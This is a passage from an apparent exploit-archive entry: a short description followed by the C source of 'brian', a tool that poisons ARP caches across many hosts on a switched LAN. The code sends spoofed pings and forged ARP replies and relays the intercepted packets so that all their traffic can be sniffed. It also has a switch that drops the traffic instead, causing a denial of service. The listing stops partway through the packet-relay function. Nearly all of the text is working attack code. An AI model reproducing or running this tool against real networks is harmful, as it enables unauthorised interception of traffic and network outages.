Brian.c is a simple tool to effectively convert a switched network (or a part of it) into a shared network so that sniffing can take place. Allows ARP spoofing of any number of machines, includes an internal relay process for relaying packets to the correct destination, provides a gateway switch for spoofing routers, includes various timing options, and includes a DOS switch for spoofing without relaying. Includes everything to turn a switched network into a shared network so that sniffing can take place, in one easy to use tool. Based on ARP poisoning from Ettercap, but unlike Ettercap it works in many-to-many scenarios which are present in shared networks. Tested on Redhat 8, it compiles under Linux. Requires libnet and libpcap.
ed538861806c64275273f8ce041053bef2f1f835a3d1e708263acedbce08f0cf
/*
* brian - "He's not the Messiah, he's a very naughty man!"
*
* cc -o brian brian.c -lpthread -lnet -lpcap
*
* Based on the ideas of ARP poisoning present in Ettercap, this program
* is a simple tool to effectively convert a switched network (or a part of
* it) into a shared network so that sniffing can take place.
*
* Ettercap (in it's current form) is very good at letting you poison the ARP
* caches of two or more computers to sniff a particular machine or perform
* man-in-the-middle attacks. It works in a one-to-one or one-to-many
* scenario but not many-to-many as in shared networks.
*
* I wasn't interested in man-in-the-middle attacks but was very interested
* in sniffing a group of computers on a switched network for penetration
* testing.
*
* It requires libpcap and libnet and is threaded for your pleasure.
* Some of the libpcap stuff was borrowed from code by Bastian ballmann.
* It was written for Red Hat 8 but should work on many Linux distributions.
*
* It is free to use and modify but I would rather it wasn't redistributed
* in modified form without changing the name.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pcap.h>
#include <net/bpf.h>
#include <unistd.h>
#include <libnet.h>
#include <pthread.h>
#include <net/ethernet.h>
#define DEF_TIMEOUT 2
#define DEF_WAIT 5000
#define DEF_PAUSE 10
/* ipaddr_range_list is a struct used to create a linked list of computer
* ranges.
*/
struct ipaddr_range_list;
struct ipaddr_range_list
{
u_char a1, a2, a3, a4a, a4b;
int range_len;
struct ipaddr_range_list *next;
};
/* ipaddr_array is a struct used to create an array of ip addresses and mac
* addresses that the user is interested in.
*/
struct ipaddr_array
{
struct in_addr ipaddr;
int range_len;
u_char macaddr[6];
};
/* brian_struct holds the program context and is passed to nearly all
* functions. It's instantiation could have been made global but I decided
* I'd rather pass a pointer so the functions can be lifted out and reused
* elsewhere.
*/
struct brian_struct
{
struct ipaddr_array *ip_list;
int ip_list_len;
struct ipaddr_array **ip_hash;
int ip_hash_len;
u_char gateway_mac[6];
struct in_addr gateway_ip;
libnet_t *libnet_context;
libnet_t *libnet_context2;
pcap_t *pcap_handle;
char *device;
bpf_u_int32 net;
bpf_u_int32 mask;
int timeout;
int wait;
int pause;
struct libnet_ether_addr *my_mac;
struct in_addr my_ip;
};
/* the only global variable - if anyone knows how I can avoid this then
* please let me know.
*/
u_char signal_death = 0;
void signal_handler(int sig);
void usage();
int convert_ipaddrs(struct brian_struct *brian_context, char *str);
int convert_ipaddrs_range(struct ipaddr_range_list **target, char *str);
void identify_congregation(struct brian_struct *brian_context,
int list);
void *ARP_listener(void *ARP_listen_values);
void spoof_pings(struct brian_struct *brian_context);
void *start_preaching(void *t);
void *unpoison(struct brian_struct *brian_context);
void relay_packets(struct brian_struct *brian_context);
void ARP_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt);
void packet_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt);
/* main function
* decodes options, starts the preaching, starts the relaying
*/
int main(int argc, char *argv[])
{
/* variables */
uid_t userid;
int list = 0;
int preach = 0;
int dos = 0;
int disc_len = 0;
int cong_len = 0;
struct brian_struct brian_context;
pthread_t preach_thread;
int getoptret;
char disc_ips[1024], cong_ips[1024];
struct ipaddr_array *disc_list = NULL;
struct ipaddr_array **disc_hash = NULL;
struct ipaddr_array *cong_list = NULL;
struct ipaddr_array **cong_hash = NULL;
int disc_hash_len = 0;
int cong_hash_len = 0;
char err_buf[LIBNET_ERRBUF_SIZE];
char errbuf[PCAP_ERRBUF_SIZE];
u_char empty_mac[6] = {0,0,0,0,0,0};
/* check we're root */
userid = geteuid();
if(userid != 0)
{
usage();
printf("You really need to be the Messiah to run this program\nYour EUID is %d\n",userid);
exit(0);
}
brian_context.device = NULL;
brian_context.timeout = DEF_TIMEOUT;
brian_context.wait = DEF_WAIT;
brian_context.pause = DEF_PAUSE;
/* zero the gateway mac and ip address */
memcpy(brian_context.gateway_mac, empty_mac, 6);
brian_context.gateway_ip.s_addr = 0;
/* sort options */
/* use getopt to find out what the user provided */
/* brian <-l ip_range> [-i interface] [-t timeout]
* - only list reachable ip addresses with MAC addresses.
* brian <-p ip_range> [-i interface] [-t timeout] [-w wait]
* [-r pause] [-g gateway_ip] [-d]
* - preach to ip addresses (i.e. spoof and relay).
* -i interface indicates the interface to use.
* -t timeout indicates the time to wait in seconds after sending
* an ARP request before assuming the host is dead (default 2 sec).
* -w wait indicates the time to wait between repeating sending
* the set of ARP replies (default 5000ms).
* -r pause indicates the time to pause between sending each ARP
* packet (default 10ms).
* -g gateway_ip identifies which of the congregation is the
* gateway for IP addresses we don't understand.
* -d specifies Denial-Of-Service, i.e. Don't relay (this is just
* to demonstrate how easy it is to DOS a network without any
* particularly nasty packets).
*/
while ((getoptret = getopt(argc, argv, "l:p:i:t:w:r:g:d")) != EOF)
{
switch (getoptret)
{
case 'l':
list = 1;
strncpy(cong_ips, optarg, 1023);
cong_ips[1023] = 0;
cong_len = convert_ipaddrs(&brian_context, cong_ips);
if (cong_len == -1)
{
usage();
printf("congregation incorrectly specified\n");
exit(0);
}
break;
case 'p':
preach = 1;
strncpy(disc_ips, optarg, 1023);
disc_ips[1023] = 0;
disc_len = convert_ipaddrs(&brian_context, disc_ips);
if (disc_len == -1)
{
usage();
printf("disciples incorrectly specified\n");
exit(0);
}
break;
case 'i':
brian_context.device = (char *)malloc(strlen(optarg) + 1);
strcpy(brian_context.device, optarg);
break;
case 't':
brian_context.timeout = atoi(optarg);
break;
case 'w':
brian_context.wait = atoi(optarg);
break;
case 'r':
brian_context.pause = atoi(optarg);
break;
case 'g':
if (inet_aton(optarg, &(brian_context.gateway_ip)) == 0)
{
usage();
printf("gateway ip is invalid\n");
exit(0);
}
break;
case 'd':
dos = 1;
break;
default:
usage();
printf("invalid argument\n");
exit(0);
}
}
if ((list == 0) && (preach == 0))
{
usage();
printf("You must specify -l or -p\n");
exit(0);
}
if ((list == 1) && (preach == 1))
{
usage();
printf("You may only specify -l OR -p\n");
exit(0);
}
if (brian_context.timeout == 0)
{
usage();
printf("Invalid timeout\n");
exit(0);
}
if (brian_context.wait == 0)
{
usage();
printf("Invalid wait\n");
exit(0);
}
if (brian_context.pause == 0)
{
usage();
printf("Invalid pause\n");
exit(0);
}
/* welcome message */
printf("brian - \"He's not the Messiah, he's a very naughty man!\"\n");
printf("use ^C or a SIGTERM to quit\n");
/* set up the libnet stuff */
brian_context.libnet_context = libnet_init(LIBNET_LINK, brian_context.device, err_buf);
if (brian_context.libnet_context == NULL)
{
printf("libnet_init failed: %s\n", err_buf);
exit(0);
}
/* either through a user option or through libnet searching, we have
* a valid device in brian_context.libnet_context->device. This
* must be copied into brian_context.device as the master device and
* used for pcap initiation.
*/
if (brian_context.device == NULL)
{
brian_context.device = (char *)malloc
(strlen(brian_context.libnet_context->device) + 1);
strcpy(brian_context.device,
brian_context.libnet_context->device);
}
/* find my mac and ip address */
brian_context.my_mac = libnet_get_hwaddr(brian_context.libnet_context);
if (brian_context.my_mac == NULL)
{
printf("could not get my MAC address\n");
exit(0);
}
brian_context.my_ip.s_addr = libnet_get_ipaddr4(brian_context.libnet_context);
if (brian_context.my_ip.s_addr == -1)
{
printf("could not get my ip address\n");
exit(0);
}
/* seed the pseudo random generator */
libnet_seed_prand(brian_context.libnet_context);
/* set up the pcap stuff
* Open device for sniffing in non-promisc mode
* device, snaplen, promics-mode, timeout, errorbuffer
*/
brian_context.pcap_handle = pcap_open_live(brian_context.device,BUFSIZ,0,-1,errbuf);
/* Lookup IP and network mask for device */
pcap_lookupnet(brian_context.device, &(brian_context.net), &(brian_context.mask), errbuf);
printf("device: %s; MAC: %s; IP: %s\n", brian_context.device, ether_ntoa(brian_context.my_mac), inet_ntoa(brian_context.my_ip));
/* set up a second libnet context for the ARP poisoner */
brian_context.libnet_context2 = libnet_init(LIBNET_LINK, brian_context.device, err_buf);
if (brian_context.libnet_context2 == NULL)
{
printf("libnet_init2 failed: %s\n", err_buf);
exit(0);
}
if (dos == 1)
{
printf("DOS option selected. Specified congregation will be\n");
printf("unable to communicate until unpoisoned!\n");
}
/* identify congregation */
/* if listing, send ARP requests to the IP address range identified
* by the congregation.
* if preaching, send ARP requests to the IP address range
* identified by the disciples.
*/
if (list == 1)
identify_congregation(&brian_context, 1);
else
{
identify_congregation(&brian_context, 0);
/* spoof pings */
/* send spoofed pings from all in ip_list to all others in
* ip_list to make them aware of each other
*/
spoof_pings(&brian_context);
/* set up the signal handler.
* Up to this point we could have just happily fallen over,
* but now we have to make sure we tidy up the poisoned ARP
* caches all over the place otherwise some network admins
* will get a little upset.
*/
signal(SIGINT, signal_handler);
signal(SIGTERM, signal_handler);
/* start preaching */
/* tell the congregation that you are the responsible for
* all the other ip addresses in the congregation.
* Run in a different thread.
*/
if (pthread_create(&preach_thread, NULL, start_preaching,
(void *)&brian_context) != 0)
{
printf("could not create preach thread\n");
exit(0);
}
/* start relaying */
/* listen to all packets. Any packets destined for an ip
* address that is not your own should be relayed to the
* correct MAC address.
*/
if (dos == 0)
{
relay_packets(&brian_context);
} else {
while (1)
{
sleep(1000);
}
}
}
}
void signal_handler(int sig)
{
/* set the death global to indicate close down */
signal_death = 1;
}
/* usage displays valid usage info
*/
void usage()
{
printf("brian - \"He's not the messiah, he's a very naughty man!\"\n");
printf("brian <-l ip_range> [-i interface] [-t timeout]\n");
printf(" - only list reachable ip addresses with MAC addresses.\n");
printf("brian <-p ip_range> [-i interface] [-t timeout] [-w wait]\n");
printf(" [-r pause] [-g gateway_ip] [-d]\n");
printf(" - preach to ip addresses (i.e. spoof and relay).\n");
printf(" -i interface indicates the interface to use.\n");
printf(" -t timeout indicates the time to wait in seconds after sending\n");
printf(" an ARP request before assuming the host is dead (default 2 sec).\n");
printf(" -w wait indicates the time to wait between sending repeating\n");
printf(" ARP replies (default 5000ms).\n");
printf(" -r pause indicates the time to pause between sending each ARP\n");
printf(" packet (default 10ms).\n");
printf(" -g gateway_ip identifies which of the congregation is the\n");
printf(" gateway for IP addresses we don't understand.\n");
printf(" -d specifies Denial-Of-Service, i.e. Don't relay (this is just\n");
printf(" to demonstrate how easy it is to DOS a network without any\n");
printf(" particularly nasty packets).\n");
printf("\n");
}
/* convert_ipaddrs takes a string specifying a number of comma
* delimited ip address ranges and converts them to an array of
* individual ip addresses.
* It also creates a hash array pointing at the start of each
* range within the array of ip addresses.
* It returns the length of the array.
* Currently only works on comma delimited Class C address ranges
* or ip addresses.
* One day I'll include provision for hostnames and net/bit
* identifiers and then package the lot up as a library; but for
* the moment it's just a couple of C functions.
*/
int convert_ipaddrs(struct brian_struct *brian_context, char *str)
{
int i,j,k, ret;
u_char temp_ip[4];
char *strtok_range;
char *r_temp1 = NULL;
int r_count = 0;
int num_ranges = 0;
struct ipaddr_range_list *head = NULL;
struct ipaddr_range_list *range_temp = NULL;
struct ipaddr_range_list *range_temp2 = NULL;
struct ipaddr_range_list **range_ptr = &head;
/* test for valid chars */
if (strspn(str, "0123456789.-,") != strlen(str))
{
return -1;
}
/* create a linked list of ipranges, checking validity, and
* maintaining a sum of ipaddresses in the total range
*/
/* use strtok_r to find each range */
/* note to self: always use strtok_r over strtok to avoid
* nasty, dangerous clashes.
*/
r_temp1 = strtok_r(str, ",", &strtok_range);
while (r_temp1 != NULL)
{
ret = convert_ipaddrs_range(range_ptr, r_temp1);
if (ret == -1)
{
return -1;
}
range_ptr = &((*range_ptr)->next);
r_count = r_count + ret;
r_temp1 = strtok_r(NULL, ",", &strtok_range);
num_ranges++;
}
brian_context->ip_list_len = r_count;
brian_context->ip_hash_len = num_ranges;
/* create an array big enough for all the ranges */
brian_context->ip_list = (struct ipaddr_array *)malloc(sizeof(struct ipaddr_array) * r_count);
/* create an array big enough to hold pointers to the ranges.
* This will be a hash to speed up searching
*/
brian_context->ip_hash = (struct ipaddr_array **)malloc(sizeof(struct ipaddr_array *) * num_ranges);
/* loop through the ipaddr range list and populate the array */
range_temp = head;
i = 0;
k = 0;
while (range_temp != NULL)
{
/* store the pointer in the hash table */
(brian_context->ip_hash)[k] = &((brian_context->ip_list)[i]);
temp_ip[0] = range_temp->a1;
temp_ip[1] = range_temp->a2;
temp_ip[2] = range_temp->a3;
/* loop through the ip range, saving ipaddrs as we go */
for (j=range_temp->a4a; j<=range_temp->a4b; j++)
{
temp_ip[3] = j;
memcpy(&((brian_context->ip_list)[i].ipaddr), temp_ip, 4);
(brian_context->ip_list)[i].range_len = range_temp->range_len;
i++;
}
range_temp = range_temp->next;
k++;
}
/* deallocate the memory for the linked list as it is no
* longer needed
*/
range_temp = head;
while (range_temp != NULL)
{
range_temp2 = range_temp->next;
free(range_temp);
range_temp = range_temp2;
}
/* return the number of elements in the array */
return r_count;
}
/* convert_ipaddrs_range takes a string specifying an ipaddress range
* or single ip addrss and returns a malloced and populated node.
*/
int convert_ipaddrs_range(struct ipaddr_range_list **target, char *str)
{
char *temp1, *temp2, *temp3, *temp4;
int o1, o2, o3, o4a, o4b;
char *strtok_dot, *strtok_minus;
struct ipaddr_range_list *node;
int ret;
/* retrieve first three octets */
temp1 = strtok_r(str, ".", &strtok_dot);
temp2 = strtok_r(NULL, ".", &strtok_dot);
temp3 = strtok_r(NULL, ".", &strtok_dot);
temp4 = strtok_r(NULL, "!", &strtok_dot);
/* test the values for valid strings */
if ((temp1 == NULL) || (temp2 == NULL) || (temp3 == NULL) ||
(temp4 == NULL) ||
(strchr(temp1, '-') != NULL) ||
(strlen(temp1) == 0) ||
(strchr(temp2, '-') != NULL) ||
(strlen(temp2) == 0) ||
(strchr(temp3, '-') != NULL) ||
(strlen(temp3) == 0) ||
(strchr(temp4, '.') != NULL) ||
(strlen(temp4) == 0))
{
return -1;
}
/* identify the first three octets */
o1 = atoi(temp1);
o2 = atoi(temp2);
o3 = atoi(temp3);
/* find out if it is a range or an individual ip address */
temp1 = strchr(temp4, '-');
if (temp1 == NULL)
{
o4a = atoi(temp4);
o4b = atoi(temp4);
} else {
temp1 = strtok_r(temp4, "-", &strtok_minus);
o4a = atoi(temp1);
temp2 = strtok_r(NULL, "!", &strtok_minus);
if (strchr(temp2, '-') != NULL)
{
return -1;
}
o4b = atoi(temp2);
}
/* check the values are okay */
if ((o1 < 1) || (o1 > 255) || (o2 < 0) || (o2 > 255) ||
(o3 < 0) || (o3 > 255) || (o4a < 1) || (o4a > 254) ||
(o4b < 1) || (o4b > 254) || (o4a > o4b))
{
return -1;
}
/* create node */
node = (struct ipaddr_range_list *)malloc(sizeof(struct ipaddr_range_list));
node->a1 = o1;
node->a2 = o2;
node->a3 = o3;
node->a4a = o4a;
node->a4b = o4b;
node->range_len = o4b - o4a + 1;
node->next = NULL;
/* point target at the new node and return the number of
* ip addresses it refers to */
*target = node;
return node->range_len;
}
/* identify_congregation
* send ARPs to request the MAC addresses of all IP addresses in the
* ipaddr_array. Start a listener which records the responses in the
* array.
*/
void identify_congregation(struct brian_struct *brian_context,
int list)
{
int i;
pthread_t ARP_listen_thread;
libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER;
libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
u_char broadcast_mac[6] = {0xff,0xff,0xff,0xff,0xff,0xff};
u_char empty_mac[6] = {0,0,0,0,0,0};
printf("Identify Congregation\n");
/* temp code to test array */
/*
for (i=0; i<brian_context->ip_hash_len; i++)
{
printf("%d,%s,%d\n", i, inet_ntoa((brian_context->ip_hash[i])->ipaddr), (brian_context->ip_hash[i])->range_len);
}
for (i=0; i<brian_context->ip_list_len; i++)
{
printf("%s\n", inet_ntoa((brian_context->ip_list[i]).ipaddr));
}
*/
/* start ARP listener */
if (pthread_create(&ARP_listen_thread, NULL, ARP_listener,
(void *)brian_context) != 0)
{
printf("could not create ARP listener thread\n");
exit(0);
}
sleep(1);
/* send ARP requests for all IP addresses in ip_list */
for (i=0; i<brian_context->ip_list_len; i++)
{
arp_ptag = libnet_build_arp(ARPHRD_ETHER, /* ether */
ETHERTYPE_IP, /* IP addresses */
6, /* MAC length */
4, /* IP length */
ARPOP_REQUEST, /* ARP request */
brian_context->my_mac->ether_addr_octet, /* sender MAC */
(u_char *)&(brian_context->my_ip), /* sender IP */
empty_mac, /* target MAC */
(u_char *)&(brian_context->ip_list[i].ipaddr), /* target IP */
NULL, /* payload */
0, /* payload len */
brian_context->libnet_context, /* context */
arp_ptag); /* ptag */
ether_ptag = libnet_build_ethernet(
broadcast_mac, /* target MAC */
brian_context->my_mac->ether_addr_octet, /* sender MAC */
ETHERTYPE_ARP, /* ARP proto */
NULL, /* payload */
0, /* payload len */
brian_context->libnet_context, /* context */
ether_ptag); /* ptag */
if (libnet_write(brian_context->libnet_context) == -1)
{
printf("libnet_write failed\n");
exit(0);
}
usleep(1000 * brian_context->pause);
}
libnet_clear_packet(brian_context->libnet_context);
/* wait for timeout */
sleep(brian_context->timeout);
/* cancel ARP listener */
pthread_cancel(ARP_listen_thread);
/* if the user asked for a list of ips and macs then do it now */
if (list == 1)
{
for (i=0; i<brian_context->ip_list_len; i++)
{
if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) != 0)
{
printf("ip=%s, mac=%s\n", inet_ntoa((brian_context->ip_list[i]).ipaddr), ether_ntoa((brian_context->ip_list[i]).macaddr));
}
}
}
}
/* ARP_listener is the thread that receives the ARP replies and fires off
* a callback function to populate the array with the correct MAC addresses.
*/
void *ARP_listener(void *ARP_listen_values)
{
struct brian_struct *brian_context = ARP_listen_values;
char errbuf[PCAP_ERRBUF_SIZE];
char ARP_expr[4] = "arp";
struct bpf_program filter;
int check;
if (pthread_setcanceltype(PTHREAD_CANCEL_ASYNCHRONOUS, NULL) != 0)
{
printf("pthread_setcanceltype failed\n");
exit(0);
}
/* Compile pcap expression */
/* pcap_handle, compiled filter, filter, optimized, netmask */
check = pcap_compile(brian_context->pcap_handle,&filter,ARP_expr,0,brian_context->net);
if(check == -1)
{
printf("There was an error while compiling pcap expression!");
exit(0);
}
/* Use the compiled pcap filter */
pcap_setfilter(brian_context->pcap_handle,&filter);
/* Start sniffing */
/* pcap_handle, num_packets, callback, params */
pcap_loop(brian_context->pcap_handle,-1,ARP_receiver,
(u_char *)brian_context);
}
/* spoof_pings sends spoofed pings from all in ip_list to all others in
* ip_list
*/
void spoof_pings(struct brian_struct *brian_context)
{
int i,j;
libnet_ptag_t icmp_ptag = LIBNET_PTAG_INITIALIZER;
libnet_ptag_t ip_ptag = LIBNET_PTAG_INITIALIZER;
libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
u_char empty_mac[6] = {0,0,0,0,0,0};
u_short packet_id;
char payload[55] = "brian - He's not the messiah, he's a very naughty man!";
/* the above payload is an easily identified string which may be
* changed by scamps wanting to avoid packet identification in IDS.
* I've left it as a static string purely because this program is a
* proof of concept and not a nasty piece of work. Script kiddies
* may well use it unchanged resulting in IDS signatures featuring
* the payload strap-line... this would highly amuse me!
*/
/* send spoofed pings to all IP addresses in ip_list */
for (i=0; i<brian_context->ip_list_len; i++)
{
if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0)
continue;
for (j=0; j<brian_context->ip_list_len; j++)
{
if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0))
continue;
packet_id = libnet_get_prand(LIBNET_PRu16);
icmp_ptag = libnet_build_icmpv4_echo(
ICMP_ECHO,
0, /* code */
0, /* checksum (auto) */
packet_id, /* id */
0, /* seq number */
payload, /* packet data */
54, /* packet data length */
brian_context->libnet_context,
icmp_ptag);
ip_ptag = libnet_build_ipv4(
LIBNET_ICMPV4_ECHO_H + LIBNET_IPV4_H + 54, /* ICMP length */
0, /* TOS */
packet_id, /* id */
0, /* frag and offset */
255, /* TTL */
1, /* ICMP */
0, /* checksum (auto) */
(brian_context->ip_list[i]).ipaddr.s_addr,
(brian_context->ip_list[j]).ipaddr.s_addr,
NULL, /* packet data */
0, /* packet data length */
brian_context->libnet_context,
ip_ptag);
ether_ptag = libnet_build_ethernet(
(brian_context->ip_list[j]).macaddr,
(brian_context->ip_list[i]).macaddr,
ETHERTYPE_IP, /* IP proto */
NULL, /* payload */
0, /* payload len */
brian_context->libnet_context,
ether_ptag);
if (libnet_write(brian_context->libnet_context) == -1)
{
printf("libnet_write failed\n");
exit(0);
}
usleep(1000 * brian_context->pause);
}
}
libnet_clear_packet(brian_context->libnet_context);
}
/* start_preaching
* Send ARP replies to each IP address claiming my MAC as each
* of the other IP addresses.
* Avoid IP addresses with zeroed MAC addresses as these did not
* respond to the initial ARP storm.
* Look out for global signal_death changing to 1 to indicate a termination
* request.
*/
void *start_preaching(void *t)
{
struct brian_struct *brian_context = t;
int i,j;
libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER;
libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
u_char empty_mac[6] = {0,0,0,0,0,0};
printf("Start preaching\n");
/* looping forever, send ARP replies to all in ip_list claiming
* my MAC address as all in ip_list
* I'm using a second libnet context here so that I don't disrupt
* or get disrupted by the libnet context that is relaying the
* packets.
*/
while (1)
{
for (i=0; i<brian_context->ip_list_len; i++)
{
if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0)
continue;
for (j=0; j<brian_context->ip_list_len; j++)
{
if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0))
continue;
arp_ptag = libnet_build_arp(
ARPHRD_ETHER, /* ether */
ETHERTYPE_IP, /* IP addresses */
6, /* MAC length */
4, /* IP length */
ARPOP_REPLY, /* ARP reply */
brian_context->my_mac->ether_addr_octet, /* sender MAC */
(u_char *)&(brian_context->ip_list[i].ipaddr), /* sender IP */
brian_context->ip_list[j].macaddr, /* target MAC */
(u_char *)&(brian_context->ip_list[j].ipaddr), /* target IP */
NULL, /* payload */
0, /* payload len */
brian_context->libnet_context2, /* context */
arp_ptag); /* ptag */
ether_ptag = libnet_build_ethernet(
brian_context->ip_list[j].macaddr, /* target MAC */
brian_context->my_mac->ether_addr_octet, /* sender MAC */
ETHERTYPE_ARP, /* ARP proto */
NULL, /* payload */
0, /* payload len */
brian_context->libnet_context2, /* context */
ether_ptag); /* ptag */
if (libnet_write(brian_context->libnet_context2) == -1)
{
printf("libnet_write failed\n");
exit(0);
}
usleep(1000 * brian_context->pause);
}
}
usleep(1000 * brian_context->wait);
if (signal_death == 1)
{
libnet_clear_packet(brian_context->libnet_context2);
unpoison(brian_context);
printf("ARP caches unpoisoned, goodbye\n");
exit(0);
}
}
}
/* unpoison sends ARPs to tell all ips the real values of all others MAC
* addresses
*/
void *unpoison(struct brian_struct *brian_context)
{
int i,j,loop;
libnet_ptag_t arp_ptag = LIBNET_PTAG_INITIALIZER;
libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
u_char empty_mac[6] = {0,0,0,0,0,0};
/* send ARP replies to all in ip_list stating
* the real MAC addresses for all in ip_list
* I'm using the second libnet context here so that I don't disrupt
* or get disrupted by the libnet context that is still relaying the
* packets.
*/
for (loop=0; loop<5; loop++)
for (i=0; i<brian_context->ip_list_len; i++)
{
if (memcmp((void *)((brian_context->ip_list[i]).macaddr), (void *)empty_mac, 6) == 0)
continue;
for (j=0; j<brian_context->ip_list_len; j++)
{
if ((i==j) || (memcmp((void *)((brian_context->ip_list[j]).macaddr), (void *)empty_mac, 6) == 0))
continue;
arp_ptag = libnet_build_arp(
ARPHRD_ETHER, /* ether */
ETHERTYPE_IP, /* IP addresses */
6, /* MAC length */
4, /* IP length */
ARPOP_REPLY, /* ARP reply */
brian_context->ip_list[i].macaddr, /* sender MAC */
(u_char *)&(brian_context->ip_list[i].ipaddr), /* sender IP */
brian_context->ip_list[j].macaddr, /* target MAC */
(u_char *)&(brian_context->ip_list[j].ipaddr), /* target IP */
NULL, /* payload */
0, /* payload len */
brian_context->libnet_context2, /* context */
arp_ptag); /* ptag */
ether_ptag = libnet_build_ethernet(
brian_context->ip_list[j].macaddr, /* target MAC */
brian_context->my_mac->ether_addr_octet, /* sender MAC */
// brian_context->ip_list[i].macaddr, /* sender MAC */
ETHERTYPE_ARP, /* ARP proto */
NULL, /* payload */
0, /* payload len */
brian_context->libnet_context2, /* context */
ether_ptag); /* ptag */
if (libnet_write(brian_context->libnet_context2) == -1)
{
printf("libnet_write failed\n");
}
usleep(1000 * brian_context->pause);
}
}
}
/* relay_packets is the function that receives packets and then sends them
* on to the correct MAC addresses. This is necessary for the network to
* continue to work once the ARP caches are poisoned.
*/
void relay_packets(struct brian_struct *brian_context)
{
char errbuf[PCAP_ERRBUF_SIZE];
char filter_expr[1024];
struct bpf_program filter;
int check;
printf("Relay packets\n");
/* create filter expression */
sprintf(filter_expr, "ip and not dst host %s and not ether src %s", inet_ntoa(brian_context->my_ip), ether_ntoa(brian_context->my_mac));
/* Compile pcap expression */
/* pcap_handle, compiled filter, filter, optimized, netmask */
check = pcap_compile(brian_context->pcap_handle,&filter,filter_expr,0,brian_context->net);
if(check == -1)
{
printf("There was an error while compiling pcap expression!");
exit(0);
}
/* Use the compiled pcap filter */
pcap_setfilter(brian_context->pcap_handle,&filter);
/* Start sniffing */
/* pcap_handle, num_packets, callback, params */
pcap_loop(brian_context->pcap_handle,-1,packet_receiver,
(u_char *)brian_context);
}
/* ARP_receiver
* This is a callback function launched by pcap_loop filtered on ARP packets.
* For every ARP reply, locate the IP addr in the table and enter the MAC
* address. Of course, if some other scamp is already running brian, ettercap,
* or similar, then you'll be plotting his MAC address and not the real one.
* Whilst this shouldn't upset the program (save for a little indirection in
* packet relaying) it will fall to pieces when the other scamp stops his
* program. Best to avoid this situation if at all possible, methinks.
* To take account of the gateway, the ARP_receiver will also check each
* returned IP against the gateway IP and store the relevant MAC address if
* they match.
*/
void ARP_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt)
{
struct brian_struct *brian_context = (struct brian_struct *)args;
struct libnet_ethernet_hdr *ether;
struct libnet_arp_hdr *arp;
short arp_op;
u_char *mac;
struct in_addr ip;
u_char *ptr;
int i;
u_char first_octet, last_octet, arp_last_octet;
struct ipaddr_array *temp_ptr;
/* break packet into workable components */
ether = (struct libnet_ethernet_hdr *) pkt;
arp = (struct libnet_arp_hdr *)(pkt + LIBNET_802_3_H);
arp_op = ntohs(arp->ar_op);
/* we're pretty sure this is an ARP packet or we wouldn't be here! */
if (arp_op == ARPOP_REPLY)
{
mac = (u_char *)(pkt + LIBNET_802_3_H + LIBNET_ARP_H);
memcpy((void *)&ip, (void *)(pkt + LIBNET_802_3_H + LIBNET_ARP_H + 6), 4);
/* locate ip address in ip_hash */
for (i=0; i<brian_context->ip_hash_len; i++)
{
if (memcmp((void *)&((brian_context->ip_hash[i])->ipaddr), (void *)&ip, 3) == 0)
{
/* first three octets match */
first_octet = ((u_char *)&((brian_context->ip_hash[i])->ipaddr))[3];
last_octet = (brian_context->ip_hash[i])->range_len + first_octet - 1;
arp_last_octet = ((u_char *)&ip)[3];
if ((arp_last_octet >= first_octet) && (arp_last_octet <= last_octet))
{
/* it's in this range */
temp_ptr = (brian_context->ip_hash[i]) + (arp_last_octet - first_octet);
memcpy(temp_ptr->macaddr, mac, 6);
if (memcmp((void *)&brian_context->gateway_ip, (void *)&ip, 4) == 0)
{
/* this is also the gateway
* IP */
memcpy(brian_context->gateway_mac, mac, 6);
}
break;
}
}
}
}
}
/* packet_receiver
* This is a callback function launched by pcap_loop filtered on them not
* being sent by me or sent to my ip address.
* For every packet, replace my mac address for the correct mac address
* retrieved from the ip_list and then re-send. This should then send the
* packet to the correct destination.
* IP addresses that do not match are assumed to be for the big wide world
* and will therefore be sent to the gateway, should one have been specified.
*/
void packet_receiver(u_char *args, const struct pcap_pkthdr *header, const u_char *pkt)
{
struct brian_struct *brian_context = (struct brian_struct *)args;
struct libnet_ethernet_hdr *ether;
struct libnet_ipv4_hdr *body;
u_char mac[6] = {0,0,0,0,0,0};
u_char empty_mac[6] = {0,0,0,0,0,0};
struct in_addr ip;
u_char *ptr;
int i;
u_char first_octet, last_octet, packet_last_octet;
struct ipaddr_array *temp_ptr;
libnet_ptag_t ether_ptag = LIBNET_PTAG_INITIALIZER;
/* break packet into workable components */
ether = (struct libnet_ethernet_hdr *) pkt;
body = (struct libnet_ipv4_hdr *)(pkt + LIBNET_802_3_H);
/* we're pretty sure that the packet is not destined for me and is
* an IP packet and should be relayed or we wouldn't be here! */
memcpy((void *)&ip, (void *)&(body->ip_dst), 4);
/* locate ip address in ip_hash */
for (i=0; i<brian_context->ip_hash_len; i++)
{
if (memcmp((void *)&((brian_context->ip_hash[i])->ipaddr), (void *)&ip, 3) == 0)
{
/* first three octets match */
first_octet = ((u_char *)&((brian_context->ip_hash[i])->ipaddr))[3];
last_octet = (brian_context->ip_hash[i])->range_len + first_octet - 1;
packet_last_octet = ((u_char *)&ip)[3];
if ((packet_last_octet >= first_octet) && (packet_last_octet <= last_octet))
{
/* it's in this range */
temp_ptr = (brian_context->ip_hash[i]) + (packet_last_octet - first_octet);
memcpy(mac, temp_ptr->macaddr, 6);
break;
}
}
}
/* see if we found a mac address */
if (memcmp(mac, empty_mac, 6) == 0)
{
/* did not locate mac address so copy in gateway mac */
memcpy(mac, brian_context->gateway_mac, 6);
}
/* check we have a valid mac address */
if (memcmp(mac, empty_mac, 6) != 0)
{
